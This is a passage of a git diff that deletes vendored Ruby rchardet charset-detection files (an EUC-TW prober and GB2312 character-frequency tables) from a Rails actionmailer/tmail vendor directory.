-7942,7943,7944,1744,7945,2537,4537,4538,7946,4539,7947,2073,7948,7949,3592,3380, # 7366
-2882,4256,7950,4257,2640,3381,2802, 673,2703,2460, 709,3486,4028,3593,4258,7951, # 7382
-1148, 502, 634,7952,7953,1204,4540,3594,1575,4541,2613,3717,7954,3718,3105, 948, # 7398
-3232, 121,1745,3837,1110,7955,4259,3063,2509,3009,4029,3719,1151,1771,3838,1488, # 7414
-4030,1986,7956,2433,3487,7957,7958,2093,7959,4260,3839,1213,1407,2803, 531,2737, # 7430
-2538,3233,1011,1537,7960,2769,4261,3106,1061,7961,3720,3721,1866,2883,7962,2017, # 7446
- 120,4262,4263,2062,3595,3234,2309,3840,2668,3382,1954,4542,7963,7964,3488,1047, # 7462
-2704,1266,7965,1368,4543,2845, 649,3383,3841,2539,2738,1102,2846,2669,7966,7967, # 7478
-1999,7968,1111,3596,2962,7969,2488,3842,3597,2804,1854,3384,3722,7970,7971,3385, # 7494
-2410,2884,3304,3235,3598,7972,2569,7973,3599,2805,4031,1460, 856,7974,3600,7975, # 7510
-2885,2963,7976,2886,3843,7977,4264, 632,2510, 875,3844,1697,3845,2291,7978,7979, # 7526
-4544,3010,1239, 580,4545,4265,7980, 914, 936,2074,1190,4032,1039,2123,7981,7982, # 7542
-7983,3386,1473,7984,1354,4266,3846,7985,2172,3064,4033, 915,3305,4267,4268,3306, # 7558
-1605,1834,7986,2739, 398,3601,4269,3847,4034, 328,1912,2847,4035,3848,1331,4270, # 7574
-3011, 937,4271,7987,3602,4036,4037,3387,2160,4546,3388, 524, 742, 538,3065,1012, # 7590
-7988,7989,3849,2461,7990, 658,1103, 225,3850,7991,7992,4547,7993,4548,7994,3236, # 7606
-1243,7995,4038, 963,2246,4549,7996,2705,3603,3161,7997,7998,2588,2327,7999,4550, # 7622
-8000,8001,8002,3489,3307, 957,3389,2540,2032,1930,2927,2462, 870,2018,3604,1746, # 7638
-2770,2771,2434,2463,8003,3851,8004,3723,3107,3724,3490,3390,3725,8005,1179,3066, # 7654
-8006,3162,2373,4272,3726,2541,3163,3108,2740,4039,8007,3391,1556,2542,2292, 977, # 7670
-2887,2033,4040,1205,3392,8008,1765,3393,3164,2124,1271,1689, 714,4551,3491,8009, # 7686
-2328,3852, 533,4273,3605,2181, 617,8010,2464,3308,3492,2310,8011,8012,3165,8013, # 7702
-8014,3853,1987, 618, 427,2641,3493,3394,8015,8016,1244,1690,8017,2806,4274,4552, # 7718
-8018,3494,8019,8020,2279,1576, 473,3606,4275,3395, 972,8021,3607,8022,3067,8023, # 7734
-8024,4553,4554,8025,3727,4041,4042,8026, 153,4555, 356,8027,1891,2888,4276,2143, # 7750
- 408, 803,2352,8028,3854,8029,4277,1646,2570,2511,4556,4557,3855,8030,3856,4278, # 7766
-8031,2411,3396, 752,8032,8033,1961,2964,8034, 746,3012,2465,8035,4279,3728, 698, # 7782
-4558,1892,4280,3608,2543,4559,3609,3857,8036,3166,3397,8037,1823,1302,4043,2706, # 7798
-3858,1973,4281,8038,4282,3167, 823,1303,1288,1236,2848,3495,4044,3398, 774,3859, # 7814
-8039,1581,4560,1304,2849,3860,4561,8040,2435,2161,1083,3237,4283,4045,4284, 344, # 7830
-1173, 288,2311, 454,1683,8041,8042,1461,4562,4046,2589,8043,8044,4563, 985, 894, # 7846
-8045,3399,3168,8046,1913,2928,3729,1988,8047,2110,1974,8048,4047,8049,2571,1194, # 7862
- 425,8050,4564,3169,1245,3730,4285,8051,8052,2850,8053, 636,4565,1855,3861, 760, # 7878
-1799,8054,4286,2209,1508,4566,4048,1893,1684,2293,8055,8056,8057,4287,4288,2210, # 7894
- 479,8058,8059, 832,8060,4049,2489,8061,2965,2490,3731, 990,3109, 627,1814,2642, # 7910
-4289,1582,4290,2125,2111,3496,4567,8062, 799,4291,3170,8063,4568,2112,1737,3013, # 7926
-1018, 543, 754,4292,3309,1676,4569,4570,4050,8064,1489,8065,3497,8066,2614,2889, # 7942
-4051,8067,8068,2966,8069,8070,8071,8072,3171,4571,4572,2182,1722,8073,3238,3239, # 7958
-1842,3610,1715, 481, 365,1975,1856,8074,8075,1962,2491,4573,8076,2126,3611,3240, # 7974
- 433,1894,2063,2075,8077, 602,2741,8078,8079,8080,8081,8082,3014,1628,3400,8083, # 7990
-3172,4574,4052,2890,4575,2512,8084,2544,2772,8085,8086,8087,3310,4576,2891,8088, # 8006
-4577,8089,2851,4578,4579,1221,2967,4053,2513,8090,8091,8092,1867,1989,8093,8094, # 8022
-8095,1895,8096,8097,4580,1896,4054, 318,8098,2094,4055,4293,8099,8100, 485,8101, # 8038
- 938,3862, 553,2670, 116,8102,3863,3612,8103,3498,2671,2773,3401,3311,2807,8104, # 8054
-3613,2929,4056,1747,2930,2968,8105,8106, 207,8107,8108,2672,4581,2514,8109,3015, # 8070
- 890,3614,3864,8110,1877,3732,3402,8111,2183,2353,3403,1652,8112,8113,8114, 941, # 8086
-2294, 208,3499,4057,2019, 330,4294,3865,2892,2492,3733,4295,8115,8116,8117,8118, # 8102
-#Everything below is of no interest for detection purpose
-2515,1613,4582,8119,3312,3866,2516,8120,4058,8121,1637,4059,2466,4583,3867,8122, # 8118
-2493,3016,3734,8123,8124,2192,8125,8126,2162,8127,8128,8129,8130,8131,8132,8133, # 8134
-8134,8135,8136,8137,8138,8139,8140,8141,8142,8143,8144,8145,8146,8147,8148,8149, # 8150
-8150,8151,8152,8153,8154,8155,8156,8157,8158,8159,8160,8161,8162,8163,8164,8165, # 8166
-8166,8167,8168,8169,8170,8171,8172,8173,8174,8175,8176,8177,8178,8179,8180,8181, # 8182
-8182,8183,8184,8185,8186,8187,8188,8189,8190,8191,8192,8193,8194,8195,8196,8197, # 8198
-8198,8199,8200,8201,8202,8203,8204,8205,8206,8207,8208,8209,8210,8211,8212,8213, # 8214
-8214,8215,8216,8217,8218,8219,8220,8221,8222,8223,8224,8225,8226,8227,8228,8229, # 8230
-8230,8231,8232,8233,8234,8235,8236,8237,8238,8239,8240,8241,8242,8243,8244,8245, # 8246
-8246,8247,8248,8249,8250,8251,8252,8253,8254,8255,8256,8257,8258,8259,8260,8261, # 8262
-8262,8263,8264,8265,8266,8267,8268,8269,8270,8271,8272,8273,8274,8275,8276,8277, # 8278
-8278,8279,8280,8281,8282,8283,8284,8285,8286,8287,8288,8289,8290,8291,8292,8293, # 8294
-8294,8295,8296,8297,8298,8299,8300,8301,8302,8303,8304,8305,8306,8307,8308,8309, # 8310
-8310,8311,8312,8313,8314,8315,8316,8317,8318,8319,8320,8321,8322,8323,8324,8325, # 8326
-8326,8327,8328,8329,8330,8331,8332,8333,8334,8335,8336,8337,8338,8339,8340,8341, # 8342
-8342,8343,8344,8345,8346,8347,8348,8349,8350,8351,8352,8353,8354,8355,8356,8357, # 8358
-8358,8359,8360,8361,8362,8363,8364,8365,8366,8367,8368,8369,8370,8371,8372,8373, # 8374
-8374,8375,8376,8377,8378,8379,8380,8381,8382,8383,8384,8385,8386,8387,8388,8389, # 8390
-8390,8391,8392,8393,8394,8395,8396,8397,8398,8399,8400,8401,8402,8403,8404,8405, # 8406
-8406,8407,8408,8409,8410,8411,8412,8413,8414,8415,8416,8417,8418,8419,8420,8421, # 8422
-8422,8423,8424,8425,8426,8427,8428,8429,8430,8431,8432,8433,8434,8435,8436,8437, # 8438
-8438,8439,8440,8441,8442,8443,8444,8445,8446,8447,8448,8449,8450,8451,8452,8453, # 8454
-8454,8455,8456,8457,8458,8459,8460,8461,8462,8463,8464,8465,8466,8467,8468,8469, # 8470
-8470,8471,8472,8473,8474,8475,8476,8477,8478,8479,8480,8481,8482,8483,8484,8485, # 8486
-8486,8487,8488,8489,8490,8491,8492,8493,8494,8495,8496,8497,8498,8499,8500,8501, # 8502
-8502,8503,8504,8505,8506,8507,8508,8509,8510,8511,8512,8513,8514,8515,8516,8517, # 8518
-8518,8519,8520,8521,8522,8523,8524,8525,8526,8527,8528,8529,8530,8531,8532,8533, # 8534
-8534,8535,8536,8537,8538,8539,8540,8541,8542,8543,8544,8545,8546,8547,8548,8549, # 8550
-8550,8551,8552,8553,8554,8555,8556,8557,8558,8559,8560,8561,8562,8563,8564,8565, # 8566
-8566,8567,8568,8569,8570,8571,8572,8573,8574,8575,8576,8577,8578,8579,8580,8581, # 8582
-8582,8583,8584,8585,8586,8587,8588,8589,8590,8591,8592,8593,8594,8595,8596,8597, # 8598
-8598,8599,8600,8601,8602,8603,8604,8605,8606,8607,8608,8609,8610,8611,8612,8613, # 8614
-8614,8615,8616,8617,8618,8619,8620,8621,8622,8623,8624,8625,8626,8627,8628,8629, # 8630
-8630,8631,8632,8633,8634,8635,8636,8637,8638,8639,8640,8641,8642,8643,8644,8645, # 8646
-8646,8647,8648,8649,8650,8651,8652,8653,8654,8655,8656,8657,8658,8659,8660,8661, # 8662
-8662,8663,8664,8665,8666,8667,8668,8669,8670,8671,8672,8673,8674,8675,8676,8677, # 8678
-8678,8679,8680,8681,8682,8683,8684,8685,8686,8687,8688,8689,8690,8691,8692,8693, # 8694
-8694,8695,8696,8697,8698,8699,8700,8701,8702,8703,8704,8705,8706,8707,8708,8709, # 8710
-8710,8711,8712,8713,8714,8715,8716,8717,8718,8719,8720,8721,8722,8723,8724,8725, # 8726
-8726,8727,8728,8729,8730,8731,8732,8733,8734,8735,8736,8737,8738,8739,8740,8741] # 8742
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euctwprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euctwprober.rb
deleted file mode 100755
index a65a3f48..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euctwprober.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is mozilla.org code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  class EUCTWProber < MultiByteCharSetProber
-    def initialize
-      super()
-      @_mCodingSM = CodingStateMachine.new(EUCTWSMModel)
-      @_mDistributionAnalyzer = EUCTWDistributionAnalysis.new()
-      reset()
-    end
-
-    def get_charset_name
-      return "EUC-TW"
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/gb2312freq.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/gb2312freq.rb
deleted file mode 100755
index 1b43eabb..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/gb2312freq.rb
+++ /dev/null
@@ -1,474 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-# GB2312 most frequently used character table
-#
-# Char to FreqOrder table , from hz6763
-
-# 512  --> 0.79  -- 0.79
-# 1024 --> 0.92  -- 0.13
-# 2048 --> 0.98  -- 0.06
-# 6768 --> 1.00  -- 0.02
-#
-# Ideal Distribution Ratio = 0.79135/(1-0.79135) = 3.79
-# Random Distribution Ration = 512 / (3755 - 512) = 0.157
-# 
-# Typical Distribution Ratio about 25% of Ideal one, still much higher that RDR
-
-module CharDet
-GB2312_TYPICAL_DISTRIBUTION_RATIO = 0.9
-
-GB2312_TABLE_SIZE = 3760
-
-GB2312CharToFreqOrder = [
-1671, 749,1443,2364,3924,3807,2330,3921,1704,3463,2691,1511,1515, 572,3191,2205,
-2361, 224,2558, 479,1711, 963,3162, 440,4060,1905,2966,2947,3580,2647,3961,3842,
-2204, 869,4207, 970,2678,5626,2944,2956,1479,4048, 514,3595, 588,1346,2820,3409,
- 249,4088,1746,1873,2047,1774, 581,1813, 358,1174,3590,1014,1561,4844,2245, 670,
-1636,3112, 889,1286, 953, 556,2327,3060,1290,3141, 613, 185,3477,1367, 850,3820,
-1715,2428,2642,2303,2732,3041,2562,2648,3566,3946,1349, 388,3098,2091,1360,3585,
- 152,1687,1539, 738,1559,  59,1232,2925,2267,1388,1249,1741,1679,2960, 151,1566,
-1125,1352,4271, 924,4296, 385,3166,4459, 310,1245,2850,  70,3285,2729,3534,3575,
-2398,3298,3466,1960,2265, 217,3647, 864,1909,2084,4401,2773,1010,3269,5152, 853,
-3051,3121,1244,4251,1895, 364,1499,1540,2313,1180,3655,2268, 562, 715,2417,3061,
- 544, 336,3768,2380,1752,4075, 950, 280,2425,4382, 183,2759,3272, 333,4297,2155,
-1688,2356,1444,1039,4540, 736,1177,3349,2443,2368,2144,2225, 565, 196,1482,3406,
- 927,1335,4147, 692, 878,1311,1653,3911,3622,1378,4200,1840,2969,3149,2126,1816,
-2534,1546,2393,2760, 737,2494,  13, 447, 245,2747,  38,2765,2129,2589,1079, 606,
- 360, 471,3755,2890, 404, 848, 699,1785,1236, 370,2221,1023,3746,2074,2026,2023,
-2388,1581,2119, 812,1141,3091,2536,1519, 804,2053, 406,1596,1090, 784, 548,4414,
-1806,2264,2936,1100, 343,4114,5096, 622,3358, 743,3668,1510,1626,5020,3567,2513,
-3195,4115,5627,2489,2991,  24,2065,2697,1087,2719,  48,1634, 315,  68, 985,2052,
- 198,2239,1347,1107,1439, 597,2366,2172, 871,3307, 919,2487,2790,1867, 236,2570,
-1413,3794, 906,3365,3381,1701,1982,1818,1524,2924,1205, 616,2586,2072,2004, 575,
- 253,3099,  32,1365,1182, 197,1714,2454,1201, 554,3388,3224,2748, 756,2587, 250,
-2567,1507,1517,3529,1922,2761,2337,3416,1961,1677,2452,2238,3153, 615, 911,1506,
-1474,2495,1265,1906,2749,3756,3280,2161, 898,2714,1759,3450,2243,2444, 563,  26,
-3286,2266,3769,3344,2707,3677, 611,1402, 531,1028,2871,4548,1375, 261,2948, 835,
-1190,4134, 353, 840,2684,1900,3082,1435,2109,1207,1674, 329,1872,2781,4055,2686,
-2104, 608,3318,2423,2957,2768,1108,3739,3512,3271,3985,2203,1771,3520,1418,2054,
-1681,1153, 225,1627,2929, 162,2050,2511,3687,1954, 124,1859,2431,1684,3032,2894,
- 585,4805,3969,2869,2704,2088,2032,2095,3656,2635,4362,2209, 256, 518,2042,2105,
-3777,3657, 643,2298,1148,1779, 190, 989,3544, 414,  11,2135,2063,2979,1471, 403,
-3678, 126, 770,1563, 671,2499,3216,2877, 600,1179, 307,2805,4937,1268,1297,2694,
- 252,4032,1448,1494,1331,1394, 127,2256, 222,1647,1035,1481,3056,1915,1048, 873,
-3651, 210,  33,1608,2516, 200,1520, 415, 102,   0,3389,1287, 817,  91,3299,2940,
- 836,1814, 549,2197,1396,1669,2987,3582,2297,2848,4528,1070, 687,  20,1819, 121,
-1552,1364,1461,1968,2617,3540,2824,2083, 177, 948,4938,2291, 110,4549,2066, 648,
-3359,1755,2110,2114,4642,4845,1693,3937,3308,1257,1869,2123, 208,1804,3159,2992,
-2531,2549,3361,2418,1350,2347,2800,2568,1291,2036,2680,  72, 842,1990, 212,1233,
-1154,1586,  75,2027,3410,4900,1823,1337,2710,2676, 728,2810,1522,3026,4995, 157,
- 755,1050,4022, 710, 785,1936,2194,2085,1406,2777,2400, 150,1250,4049,1206, 807,
-1910, 534, 529,3309,1721,1660, 274,  39,2827, 661,2670,1578, 925,3248,3815,1094,
-4278,4901,4252,  41,1150,3747,2572,2227,4501,3658,4902,3813,3357,3617,2884,2258,
- 887, 538,4187,3199,1294,2439,3042,2329,2343,2497,1255, 107, 543,1527, 521,3478,
-3568, 194,5062,  15, 961,3870,1241,1192,2664,  66,5215,3260,2111,1295,1127,2152,
-3805,4135, 901,1164,1976, 398,1278, 530,1460, 748, 904,1054,1966,1426,  53,2909,
- 509, 523,2279,1534, 536,1019, 239,1685, 460,2353, 673,1065,2401,3600,4298,2272,
-1272,2363, 284,1753,3679,4064,1695,  81, 815,2677,2757,2731,1386, 859, 500,4221,
-2190,2566, 757,1006,2519,2068,1166,1455, 337,2654,3203,1863,1682,1914,3025,1252,
-1409,1366, 847, 714,2834,2038,3209, 964,2970,1901, 885,2553,1078,1756,3049, 301,
-1572,3326, 688,2130,1996,2429,1805,1648,2930,3421,2750,3652,3088, 262,1158,1254,
- 389,1641,1812, 526,1719, 923,2073,1073,1902, 468, 489,4625,1140, 857,2375,3070,
-3319,2863, 380, 116,1328,2693,1161,2244, 273,1212,1884,2769,3011,1775,1142, 461,
-3066,1200,2147,2212, 790, 702,2695,4222,1601,1058, 434,2338,5153,3640,  67,2360,
-4099,2502, 618,3472,1329, 416,1132, 830,2782,1807,2653,3211,3510,1662, 192,2124,
- 296,3979,1739,1611,3684,  23, 118, 324, 446,1239,1225, 293,2520,3814,3795,2535,
-3116,  17,1074, 467,2692,2201, 387,2922,  45,1326,3055,1645,3659,2817, 958, 243,
-1903,2320,1339,2825,1784,3289, 356, 576, 865,2315,2381,3377,3916,1088,3122,1713,
-1655, 935, 628,4689,1034,1327, 441, 800, 720, 894,1979,2183,1528,5289,2702,1071,
-4046,3572,2399,1571,3281,  79, 761,1103, 327, 134, 758,1899,1371,1615, 879, 442,
- 215,2605,2579, 173,2048,2485,1057,2975,3317,1097,2253,3801,4263,1403,1650,2946,
- 814,4968,3487,1548,2644,1567,1285,   2, 295,2636,  97, 946,3576, 832, 141,4257,
-3273, 760,3821,3521,3156,2607, 949,1024,1733,1516,1803,1920,2125,2283,2665,3180,
-1501,2064,3560,2171,1592, 803,3518,1416, 732,3897,4258,1363,1362,2458, 119,1427,
- 602,1525,2608,1605,1639,3175, 694,3064,  10, 465,  76,2000,4846,4208, 444,3781,
-1619,3353,2206,1273,3796, 740,2483, 320,1723,2377,3660,2619,1359,1137,1762,1724,
-2345,2842,1850,1862, 912, 821,1866, 612,2625,1735,2573,3369,1093, 844,  89, 937,
- 930,1424,3564,2413,2972,1004,3046,3019,2011, 711,3171,1452,4178, 428, 801,1943,
- 432, 445,2811, 206,4136,1472, 730, 349,  73, 397,2802,2547, 998,1637,1167, 789,
- 396,3217, 154,1218, 716,1120,1780,2819,4826,1931,3334,3762,2139,1215,2627, 552,
-3664,3628,3232,1405,2383,3111,1356,2652,3577,3320,3101,1703, 640,1045,1370,1246,
-4996, 371,1575,2436,1621,2210, 984,4033,1734,2638,  16,4529, 663,2755,3255,1451,
-3917,2257,1253,1955,2234,1263,2951, 214,1229, 617, 485, 359,1831,1969, 473,2310,
- 750,2058, 165,  80,2864,2419, 361,4344,2416,2479,1134, 796,3726,1266,2943, 860,
-2715, 938, 390,2734,1313,1384, 248, 202, 877,1064,2854, 522,3907, 279,1602, 297,
-2357, 395,3740, 137,2075, 944,4089,2584,1267,3802,  62,1533,2285, 178, 176, 780,
-2440, 201,3707, 590, 478,1560,4354,2117,1075,  30,  74,4643,4004,1635,1441,2745,
- 776,2596, 238,1077,1692,1912,2844, 605, 499,1742,3947, 241,3053, 980,1749, 936,
-2640,4511,2582, 515,1543,2162,5322,2892,2993, 890,2148,1924, 665,1827,3581,1032,
- 968,3163, 339,1044,1896, 270, 583,1791,1720,4367,1194,3488,3669,  43,2523,1657,
- 163,2167, 290,1209,1622,3378, 550, 634,2508,2510, 695,2634,2384,2512,1476,1414,
- 220,1469,2341,2138,2852,3183,2900,4939,2865,3502,1211,3680, 854,3227,1299,2976,
-3172, 186,2998,1459, 443,1067,3251,1495, 321,1932,3054, 909, 753,1410,1828, 436,
-2441,1119,1587,3164,2186,1258, 227, 231,1425,1890,3200,3942, 247, 959, 725,5254,
-2741, 577,2158,2079, 929, 120, 174, 838,2813, 591,1115, 417,2024,  40,3240,1536,
-1037, 291,4151,2354, 632,1298,2406,2500,3535,1825,1846,3451, 205,1171, 345,4238,
-  18,1163, 811, 685,2208,1217, 425,1312,1508,1175,4308,2552,1033, 587,1381,3059,
-2984,3482, 340,1316,4023,3972, 792,3176, 519, 777,4690, 918, 933,4130,2981,3741,
-  90,3360,2911,2200,5184,4550, 609,3079,2030, 272,3379,2736, 363,3881,1130,1447,
- 286, 779, 357,1169,3350,3137,1630,1220,2687,2391, 747,1277,3688,2618,2682,2601,
-1156,3196,5290,4034,3102,1689,3596,3128, 874, 219,2783, 798, 508,1843,2461, 269,
-1658,1776,1392,1913,2983,3287,2866,2159,2372, 829,4076,  46,4253,2873,1889,1894,
- 915,1834,1631,2181,2318, 298, 664,2818,3555,2735, 954,3228,3117, 527,3511,2173,
- 681,2712,3033,2247,2346,3467,1652, 155,2164,3382, 113,1994, 450, 899, 494, 994,
-1237,2958,1875,2336,1926,3727, 545,1577,1550, 633,3473, 204,1305,3072,2410,1956,
-2471, 707,2134, 841,2195,2196,2663,3843,1026,4940, 990,3252,4997, 368,1092, 437,
-3212,3258,1933,1829, 675,2977,2893, 412, 943,3723,4644,3294,3283,2230,2373,5154,
-2389,2241,2661,2323,1404,2524, 593, 787, 677,3008,1275,2059, 438,2709,2609,2240,
-2269,2246,1446,  36,1568,1373,3892,1574,2301,1456,3962, 693,2276,5216,2035,1143,
-2720,1919,1797,1811,2763,4137,2597,1830,1699,1488,1198,2090, 424,1694, 312,3634,
-3390,4179,3335,2252,1214, 561,1059,3243,2295,2561, 975,5155,2321,2751,3772, 472,
-1537,3282,3398,1047,2077,2348,2878,1323,3340,3076, 690,2906,  51, 369, 170,3541,
-1060,2187,2688,3670,2541,1083,1683, 928,3918, 459, 109,4427, 599,3744,4286, 143,
-2101,2730,2490,  82,1588,3036,2121, 281,1860, 477,4035,1238,2812,3020,2716,3312,
-1530,2188,2055,1317, 843, 636,1808,1173,3495, 649, 181,1002, 147,3641,1159,2414,
-3750,2289,2795, 813,3123,2610,1136,4368,   5,3391,4541,2174, 420, 429,1728, 754,
-1228,2115,2219, 347,2223,2733, 735,1518,3003,2355,3134,1764,3948,3329,1888,2424,
-1001,1234,1972,3321,3363,1672,1021,1450,1584, 226, 765, 655,2526,3404,3244,2302,
-3665, 731, 594,2184, 319,1576, 621, 658,2656,4299,2099,3864,1279,2071,2598,2739,
- 795,3086,3699,3908,1707,2352,2402,1382,3136,2475,1465,4847,3496,3865,1085,3004,
-2591,1084, 213,2287,1963,3565,2250, 822, 793,4574,3187,1772,1789,3050, 595,1484,
-1959,2770,1080,2650, 456, 422,2996, 940,3322,4328,4345,3092,2742, 965,2784, 739,
-4124, 952,1358,2498,2949,2565, 332,2698,2378, 660,2260,2473,4194,3856,2919, 535,
-1260,2651,1208,1428,1300,1949,1303,2942, 433,2455,2450,1251,1946, 614,1269, 641,
-1306,1810,2737,3078,2912, 564,2365,1419,1415,1497,4460,2367,2185,1379,3005,1307,
-3218,2175,1897,3063, 682,1157,4040,4005,1712,1160,1941,1399, 394, 402,2952,1573,
-1151,2986,2404, 862, 299,2033,1489,3006, 346, 171,2886,3401,1726,2932, 168,2533,
-  47,2507,1030,3735,1145,3370,1395,1318,1579,3609,4560,2857,4116,1457,2529,1965,
- 504,1036,2690,2988,2405, 745,5871, 849,2397,2056,3081, 863,2359,3857,2096,  99,
-1397,1769,2300,4428,1643,3455,1978,1757,3718,1440,  35,4879,3742,1296,4228,2280,
- 160,5063,1599,2013, 166, 520,3479,1646,3345,3012, 490,1937,1545,1264,2182,2505,
-1096,1188,1369,1436,2421,1667,2792,2460,1270,2122, 727,3167,2143, 806,1706,1012,
-1800,3037, 960,2218,1882, 805, 139,2456,1139,1521, 851,1052,3093,3089, 342,2039,
- 744,5097,1468,1502,1585,2087, 223, 939, 326,2140,2577, 892,2481,1623,4077, 982,
-3708, 135,2131,  87,2503,3114,2326,1106, 876,1616, 547,2997,2831,2093,3441,4530,
-4314,   9,3256,4229,4148, 659,1462,1986,1710,2046,2913,2231,4090,4880,5255,3392,
-3274,1368,3689,4645,1477, 705,3384,3635,1068,1529,2941,1458,3782,1509, 100,1656,
-2548, 718,2339, 408,1590,2780,3548,1838,4117,3719,1345,3530, 717,3442,2778,3220,
-2898,1892,4590,3614,3371,2043,1998,1224,3483, 891, 635, 584,2559,3355, 733,1766,
-1729,1172,3789,1891,2307, 781,2982,2271,1957,1580,5773,2633,2005,4195,3097,1535,
-3213,1189,1934,5693,3262, 586,3118,1324,1598, 517,1564,2217,1868,1893,4445,3728,
-2703,3139,1526,1787,1992,3882,2875,1549,1199,1056,2224,1904,2711,5098,4287, 338,
-1993,3129,3489,2689,1809,2815,1997, 957,1855,3898,2550,3275,3057,1105,1319, 627,
-1505,1911,1883,3526, 698,3629,3456,1833,1431, 746,  77,1261,2017,2296,1977,1885,
- 125,1334,1600, 525,1798,1109,2222,1470,1945, 559,2236,1186,3443,2476,1929,1411,
-2411,3135,1777,3372,2621,1841,1613,3229, 668,1430,1839,2643,2916, 195,1989,2671,
-2358,1387, 629,3205,2293,5256,4439, 123,1310, 888,1879,4300,3021,3605,1003,1162,
-3192,2910,2010, 140,2395,2859,  55,1082,2012,2901, 662, 419,2081,1438, 680,2774,
-4654,3912,1620,1731,1625,5035,4065,2328, 512,1344, 802,5443,2163,2311,2537, 524,
-3399,  98,1155,2103,1918,2606,3925,2816,1393,2465,1504,3773,2177,3963,1478,4346,
- 180,1113,4655,3461,2028,1698, 833,2696,1235,1322,1594,4408,3623,3013,3225,2040,
-3022, 541,2881, 607,3632,2029,1665,1219, 639,1385,1686,1099,2803,3231,1938,3188,
-2858, 427, 676,2772,1168,2025, 454,3253,2486,3556, 230,1950, 580, 791,1991,1280,
-1086,1974,2034, 630, 257,3338,2788,4903,1017,  86,4790, 966,2789,1995,1696,1131,
- 259,3095,4188,1308, 179,1463,5257, 289,4107,1248,  42,3413,1725,2288, 896,1947,
- 774,4474,4254, 604,3430,4264, 392,2514,2588, 452, 237,1408,3018, 988,4531,1970,
-3034,3310, 540,2370,1562,1288,2990, 502,4765,1147,   4,1853,2708, 207, 294,2814,
-4078,2902,2509, 684,  34,3105,3532,2551, 644, 709,2801,2344, 573,1727,3573,3557,
-2021,1081,3100,4315,2100,3681, 199,2263,1837,2385, 146,3484,1195,2776,3949, 997,
-1939,3973,1008,1091,1202,1962,1847,1149,4209,5444,1076, 493, 117,5400,2521, 972,
-1490,2934,1796,4542,2374,1512,2933,2657, 413,2888,1135,2762,2314,2156,1355,2369,
- 766,2007,2527,2170,3124,2491,2593,2632,4757,2437, 234,3125,3591,1898,1750,1376,
-1942,3468,3138, 570,2127,2145,3276,4131, 962, 132,1445,4196,  19, 941,3624,3480,
-3366,1973,1374,4461,3431,2629, 283,2415,2275, 808,2887,3620,2112,2563,1353,3610,
- 955,1089,3103,1053,  96,  88,4097, 823,3808,1583, 399, 292,4091,3313, 421,1128,
- 642,4006, 903,2539,1877,2082, 596,  29,4066,1790, 722,2157, 130, 995,1569, 769,
-1485, 464, 513,2213, 288,1923,1101,2453,4316, 133, 486,2445,  50, 625, 487,2207,
-  57, 423, 481,2962, 159,3729,1558, 491, 303, 482, 501, 240,2837, 112,3648,2392,
-1783, 362,   8,3433,3422, 610,2793,3277,1390,1284,1654,  21,3823, 734, 367, 623,
- 193, 287, 374,1009,1483, 816, 476, 313,2255,2340,1262,2150,2899,1146,2581, 782,
-2116,1659,2018,1880, 255,3586,3314,1110,2867,2137,2564, 986,2767,5185,2006, 650,
- 158, 926, 762, 881,3157,2717,2362,3587, 306,3690,3245,1542,3077,2427,1691,2478,
-2118,2985,3490,2438, 539,2305, 983, 129,1754, 355,4201,2386, 827,2923, 104,1773,
-2838,2771, 411,2905,3919, 376, 767, 122,1114, 828,2422,1817,3506, 266,3460,1007,
-1609,4998, 945,2612,4429,2274, 726,1247,1964,2914,2199,2070,4002,4108, 657,3323,
-1422, 579, 455,2764,4737,1222,2895,1670, 824,1223,1487,2525, 558, 861,3080, 598,
-2659,2515,1967, 752,2583,2376,2214,4180, 977, 704,2464,4999,2622,4109,1210,2961,
- 819,1541, 142,2284,  44, 418, 457,1126,3730,4347,4626,1644,1876,3671,1864, 302,
-1063,5694, 624, 723,1984,3745,1314,1676,2488,1610,1449,3558,3569,2166,2098, 409,
